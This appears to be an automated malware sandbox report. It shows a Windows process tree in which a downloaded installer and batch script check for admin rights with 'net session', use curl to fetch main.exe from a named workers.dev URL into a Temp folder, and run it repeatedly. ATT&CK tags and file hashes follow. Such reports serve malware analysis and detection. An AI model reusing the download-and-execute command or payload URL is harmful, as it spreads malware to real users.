  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4884,i,11671445096771897785,9967309311200042118,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:14
  2⤵
  PID:2040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4868,i,701089426979325041,2082736746694669549,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=592 /prefetch:14
  2⤵
  PID:5580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6096,i,9660257936680568385,15379705816518864584,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:14
  2⤵
  PID:2612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6068,i,8913778798616336744,17213484950052545299,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6840 /prefetch:14
  2⤵
  PID:3972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6552,i,3297080890338743006,18010523246579226900,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6692 /prefetch:14
  2⤵
  PID:4140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5504,i,1831673132471498606,14904479582716330443,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:14
  2⤵
  PID:5988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6500,i,9828791097310582575,3104833617375333624,262144 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6052,i,6415262072617798728,5949444467164352422,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=7288 /prefetch:14
  2⤵
  PID:932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5592,i,4965783876910416120,3372945428862198031,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:14
  2⤵
  PID:5584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5556,i,12494905872089421558,8845110955161940158,524288 --field-trial-handle=2180,i,15054462367000486500,2358694242631972827,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:14
  2⤵
  PID:696

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:260

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3968

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3520

C:\Users\Admin\Downloads\installer.exe
"C:\Users\Admin\Downloads\installer.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5488
- C:\Windows\system32\cmd.exe
  cmd /c script.bat
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3424
- - C:\Windows\system32\curl.exe
    curl -L "" -o "C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe"
    3⤵
    PID:5580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\Downloads\script.bat"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3968
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5604
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:796

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" /p C:\Users\Admin\Downloads\script.bat
1⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
- Modifies registry class
- Opens file in notepad (likely ransom note)
PID:1528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1184

C:\Windows\system32\printfilterpipelinesvc.exe
C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious use of WriteProcessMemory
PID:4344
- C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
  /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{0D09A6CB-1C2B-4BAA-979F-82FF4FEBB26B}.xps" 134365348104240000
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:6080

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\script.bat
1⤵
- Modifies registry class
- Opens file in notepad (likely ransom note)
PID:2400

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\script.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2216

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\script.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6080
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4436

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\script.bat
1⤵
- Modifies registry class
- Opens file in notepad (likely ransom note)
PID:3500

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\script.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5208
- C:\Windows\system32\net.exe
  net session
  2⤵
  PID:4628
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3396

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\script.bat"
1⤵
- Executes a command shell one-liner
PID:2560
- C:\Windows\system32\net.exe
  net session
  2⤵
  PID:3960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3028

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
- Modifies registry class
PID:3352
- C:\Windows\system32\net.exe
  net session
  2⤵
  PID:5108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4704
- C:\Windows\system32\curl.exe
  curl -L "https://ere.ladybada.workers.dev/download/main.exe" -o "C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe"
  2⤵
  - Downloads MZ/PE file
  PID:4716
- C:\Windows\system32\net.exe
  net session
  2⤵
  PID:5224
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4580
- C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe
  C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe
  2⤵
  - Executes dropped EXE
  PID:4488
- C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe
  C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe
  2⤵
  - Executes dropped EXE
  PID:3560

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\script.bat
1⤵
- Modifies registry class
- Opens file in notepad (likely ransom note)
PID:1972

C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe
"C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe"
1⤵
- Executes dropped EXE
PID:4664

C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe
"C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe"
1⤵
- Executes dropped EXE
PID:472

C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe
"C:\Users\Admin\AppData\Local\Temp\Rar35F5ArTRssrReGRRsrgSFHrsedgs\main.exe"
1⤵
- Executes dropped EXE
PID:984

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

258be383-c534-42fe-89d5-0d62953bdefd.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\258be383-c534-42fe-89d5-0d62953bdefd.tmp
Size 38KB
SHA256 02bf7bb3526c706478656a7b011fec54242d0ed5ff33b60c89d3f80e4a27aaf7
MD5 1b7d7b3b4050767a5e9df61b365c2306
SHA1 e3d60a619ab8e5881c8d1885da04fd50ae0e7caf
SHA512 d882665ea0f9741fbfcd0bea33b4a8f6b0769d8e897c045da7add9b5236a33d708e8814f9c7c6b56d21dd4cc57a3fa41708443749f20c18497b814c8c5c3db36
SSDEEP 768://UxvxjgC+P3lhS7ybNbaqAHOeRFZD1fTos7RjJk1X:SZj3+P3Dei1Y1fT/RNk1X
TLSH
T18703B03ABCA45D338CF7E244B24A7687BFF4456386CD199849DC5E0E05CBBAD134B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

33d94832-9796-4f90-9fc5-c0484a67069e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\33d94832-9796-4f90-9fc5-c0484a67069e.tmp
Size 33KB
SHA256 75d31562c491a149506ded68da22d151a7792d6c6f597195f3586605d52f4f76
MD5 5a41abe6c5308331adb26d27523fbfb7
SHA1 dafde2d2d77a10a457d7622c7dcff7449af0fe06
SHA512 0178cff4220e8eaaf53b3aec281a82bc42fec5ca2bbe572ab795ddcc5d065b9571d29f39eeb218f6d716899639776ac9e688c24e407e5d22425f7deceb0dc69b
SSDEEP 768:tG3AhV7ybNbaqAJOeRFZD1fTos7RjJxTvLG:tG3mhitY1fT/RNNi
TLSH
T124F2AF39BCA45D234CE2D285B24E3687BFB49253CACD099495CD6E0E05CBBDE234781A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

84fc5273-b72f-4dc5-89cb-452d8ef13f0e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\84fc5273-b72f-4dc5-89cb-452d8ef13f0e.tmp
Size 36KB
SHA256 f7456eab65cd8b3cad440c99db593f86c20d7f3e642537a846f836e928e85e08
MD5 4562e457d4d4e62701103f70701e3f4c
SHA1 14b79fb115bc564569ba34affedbf526abe3d741
SHA512 af372c9d826ecd6b34c970b5ba1691b4b94e47dc9e7b66c6a4b758de06da43b432ad5a3b2a934bd242001826eb080677d81b1f041054ba5dc37adfedaaa76de6
SSDEEP 768:4FYw33wg4hF7ybNbaqArOeRFZD1fTos7RjJxTvLG:Dw3sxivY1fT/RNNi
TLSH
T199F29E3ABCD48E778DE6D784F24E3647AFF04263CA89599496C85D0E018B6DD134BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

991116ab-0191-4746-9e24-ed4144f0212d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\991116ab-0191-4746-9e24-ed4144f0212d.tmp
Size 38KB
SHA256 74bf69f83ba4a26b52c78f4754dc8f9a366ed2e948cad1967a0f3505a90f2741
MD5 10ef7a98dfea9dea8646c49a521e582d
SHA1 76bdaff574256787f1043f9b76d05e9631e7bcbd
SHA512 61812e575051cf4be1b26799a2b0f22b7fdbd3a6ea4c5af63222f574e35171333d3588bd0e1abf66224c5bff07b47a2b924a8c013fdee0d35cd161197efad06e
SSDEEP 768:J/UxvxjgC+k3a6FybNbaqALOeRFZD1fTos7RCJ/+Pu:8Zj3+k3aEinY1fT/RGKu
TLSH
T13F03C03AF8E85D334CF6D284B24A764BBFF455A3C6CA19D409DD2E0E058B79D134B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9f3ede88-a652-423c-9859-9892cde73c00.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\9f3ede88-a652-423c-9859-9892cde73c00.tmp
Size 41KB
SHA256 f356b5ddc4202e07dc25916929545b5d574ee37377b56e2e4dd1bccebc467255
MD5 33e112a8dc89a33b055157a78fa154f3
SHA1 0dc240b7c86eea42a642361dd4e9b1decb14ca09
SHA512 a158ad919c9991c81fcc0ae7099c85d7c96b442f75df0f0eee5ab31379ca597a34a9a404ecbc8be4737e5a8cf7d630a16b0ffd9f71c2fc74790ef0d023eae70c
SSDEEP 768:4FIw33wg4hO7ybNbaqA5OeRFZD1fTos7RjJxTvLG:Fw3sqihY1fT/RNNi
TLSH
T108135AF6A8D78932C8AE8347A33D3D46AEBCC153BA890554B3C8590DCD876BFD207815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4123fa2cc2e73053b7602d1d53a57b01f3a6cd8872729fcd7ed66886082b1b99
MD5 5100dc5469c5151f9ac793573116a7fa
SHA1 a8ffca7210c348bef0d710a66e334809b7f58988
SHA512 ead3d81382dc13f1d89e928af9189e5eec6cf3fabfb91ed18d73f1fe38b5e9f76e77fae594633baf6da19747d70fbb17eb97a8a36df60510a930f6006986acfc
TLSH
T1F4D02B75E7EC8412C0C2207C015911A231A37E00D70802C00A05801C18001C20322F09
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a201096456be1e380b7687844e70aa8e2d987a06740acf66db0d56e000a3b50d
MD5 36c9bdf74494657a1636bbc59af48eb0
SHA1 aea8177ffde7e43fa1b4cc5ce6c7cf68c2431306
SHA512 2cf6da34ccb1c58e4f6d50681952d27ffc828c4ede6f38ca0a5e429a4f520e426913b04469e4272eed54102a541263bbb54c2628f542fbe357a4afac921bb49e
TLSH
T143D02B79E7DC8512C0C2207C015811A231B37E00EB0802C00905400C18001C20323F0D
MD5 SHA1 SHA512 TLSH

Submit Download

11e14c1c-09e8-4a47-b711-d3502a784c38.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\11e14c1c-09e8-4a47-b711-d3502a784c38.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1265855b-3f25-450b-ae76-05e9d6d5f0c2.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\1265855b-3f25-450b-ae76-05e9d6d5f0c2.tmp
Size 12KB
SHA256 5650abc27fd045391e736c4dfdb407b2eff6d0365f878f9b574b41456174b4da
MD5 550912de9ae7b371d790a42a336f572f
SHA1 133c18fe607bd5be2161a71d2a6e57ce24be2e6a
SHA512 26eff2770cc83a774b567faad94b3df0e279dd43225f117d4eb4154eb5a203ea528a4d99f5d9790e515277380d046d805df683446acf3aa22db8063705d6601c
SSDEEP 192:sxRaRQOP/fXsKK7xEDzoA8pVBS/g6+WNkXd/YDP56GKIgDBJ:sxRa5P/fXsK6Nu/5O/1n
TLSH
T1DC42C716AD28693B8CCBE21DBA56BF53D2F95032A1911E48A7FC861C04E76DD620781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

23170698-aa31-43e5-a2e0-0ee4bf452654.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\23170698-aa31-43e5-a2e0-0ee4bf452654.tmp
Size 11KB
SHA256 d4dfd62cb5a8885d84aa1603cb36681e540f683e1008e521bbfa5b6e07addf2c
MD5 7f56a0cb04226324f330b5165aef3d44
SHA1 19fef9ceb644a433ee744f6447b06ebee439a5db
SHA512 7fe8b677b78354fbcc13ff5dd30da1823a21289bd29e16962077ba228a0ca794ed725cfb0deb7a839291873f2820ee979f1849a65263eb1a14c30c5532b7b8fd
SSDEEP 192:sxRaRQOP/fXssK7xEDzoA8pVBS/g6+WNkXd/YD3H6GKIgDfJ:sxRa5P/fXss6Nu/5O/xd
TLSH
T1B142D816AD28693B8CCBE21DFA56BF53D2F95032A1911E48B6FC861C04E77DD620781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8d121db7-a53b-493f-abf4-9e62df6bc830.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\8d121db7-a53b-493f-abf4-9e62df6bc830.tmp
Size 23KB
SHA256 b8a206e6fd4c1aefa4c3d75044b237d6809791954456b6418342c6c2ea282e0c
MD5 30ad15782b9bf2412e49b41ce7903650
SHA1 f3e44e94a2e0a01142a89c201482be079a212f21
SHA512 44efe93e32273a70f0996b3e82461d4c5b769435de1974fa1bef2583c83a72390cdcc04c68aee795a7dd0cc7b9c22707197181f6a26dcff5e1a8e41002c0827b
SSDEEP 384:ScwYbpGfCtgaEFfA6KhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVO+9W+R9/roTyo:SzYbpUWgasfA68F1+UoAYDCx9Tuqh0V5
TLSH
T1E7B2D92B640CC77E4F804AADAC1A6F977E5802C796988D4047FE995C03C77EBA11A4DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 26f14fba3e223ed0a7ab5d56383f95a4db46d0f38ff05e06314a506b4783fc5a
MD5 92aca7f70d29873814778e92552af3d1
SHA1 666b3ec8ca916fbb1bf7617177b7498a22a8f3e3
SHA512 e585dd76a4b930e9c0b7cb18642abcad081ecd41ebef67d1f474c8aa2a1fa47ba276c1c0a929fb6662bc4148b395054e648ee788e4ab29b94ca2ea8ba26c6be6
TLSH
T1CAE0208814C4C27EF30866C703FC630C8394376A97D4A92F6700CD887146548B28ED60
MD5 SHA1 SHA512 TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 2KB
SHA256 659dc116cd297d3d594a2701ca71dedc4111d0617683f92208024d69404b1574
MD5 73553afbb07a8ce984f71cf115e8b7a6
SHA1 05a8a4484399a8b5271b74b9349ff9f844aed499
SHA512 b0a4bb37ecff4201587302e8377bcbeb5c9875fb14f5b7113ac5e0bb7995603e460555866f1ffc937f838cfb9ac3f80ce8f726eadc67916449bf6e71ec811f2c
TLSH
T1D551764F9158C061DFF8503282D596873A3615B8E943AD222768DD379F8FFE3A0E00E8
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 d69dd7fa7421d869af9f60108513d85a56cd30a9c4bbd92db6b2b788d3b22a78
MD5 027c4f4d67f131d0b6fc0cb122d6a5a5
SHA1 87a70f361a21ac35f7545d789f34b2f7cada3d79
SHA512 972085fbeb1b622989e80e7a7a761034ce258d64ebd8c2b771ec7074493fc4aa18c15268e6bcfad416d67d3e460471c4249df85df8ad0bec7e6ff7de77c75a1e
TLSH
T14351654F9158C060DFF8503282D596873A3615B8E943AD222768DD379F8FFE3A0E00E8
MD5 SHA1 SHA512 TLSH

Submit Download

7791da34-b653-49e0-99f0-bb526df61603.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\7791da34-b653-49e0-99f0-bb526df61603.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

51658caf-a57c-4360-962d-a121d5ff9a14.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\51658caf-a57c-4360-962d-a121d5ff9a14.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

810abbed-f465-4027-a16b-d3a5f148170b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\810abbed-f465-4027-a16b-d3a5f148170b.tmp
Size 2KB
SHA256 5a9bfe8a2cb7e520b74947c9b35352a7b5827b628b9cf233acd66b4eac5c7128
MD5 0451503640ca6d8746e92458cc3d3a4d
SHA1 957c7f11da4ea70be5f24ee4228f98b5d3ed12ef
SHA512 98bd15148b4abd1dca573c22e4eb70f927d0b88033827f7b14a2674b8076256a701cf2966b38b8187d4296cbd90cb59c518b8885556d1edeebbc6f30919b53db
TLSH
T1E751FEF387E5826ED90156F0AA147E2FCF2D0514831C7C2AC9E0AF2B93F2071E141A5E
MD5 SHA1 SHA512 TLSH

Submit Download

e44d186a-35a8-4c91-b37c-e89158d38b34.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\e44d186a-35a8-4c91-b37c-e89158d38b34.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync App Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

fcb45a60-7627-48cd-afc4-16ea45e1b896.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\fcb45a60-7627-48cd-afc4-16ea45e1b896.tmp
Size 11KB
SHA256 a1c17e805f783b6c318db8b79e8f31d27d1cc01c193497747d8dc5b56b8eccc8
MD5 2c60f504a64e2fe534ea79b3240b4f39
SHA1 320cd8f94e037bfcd521a923903fb3a4f4e3834f
SHA512 478cd304a59cbc7c06e4a4fb3137fa5059edd4cf8ba9b902053fc2910593d8c4244669207ff356c1fc4d9901dc2c3424ec0c244041cdb714c45502f88359f681
SSDEEP 192:sxR5RQOP/fXs/K7xEDzoA8pVBS/g6+WNkXd/YD3m6GKIgIJ:sxR55P/fXs/6Nu/5O/es
TLSH
T1C532B815AD28A93B8CC7E21DFA56BF53D2F95032A1951E44B6FC861C04E76DD620780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5b19abf9-68d3-4b6e-b284-c5652af36322.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\5b19abf9-68d3-4b6e-b284-c5652af36322.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
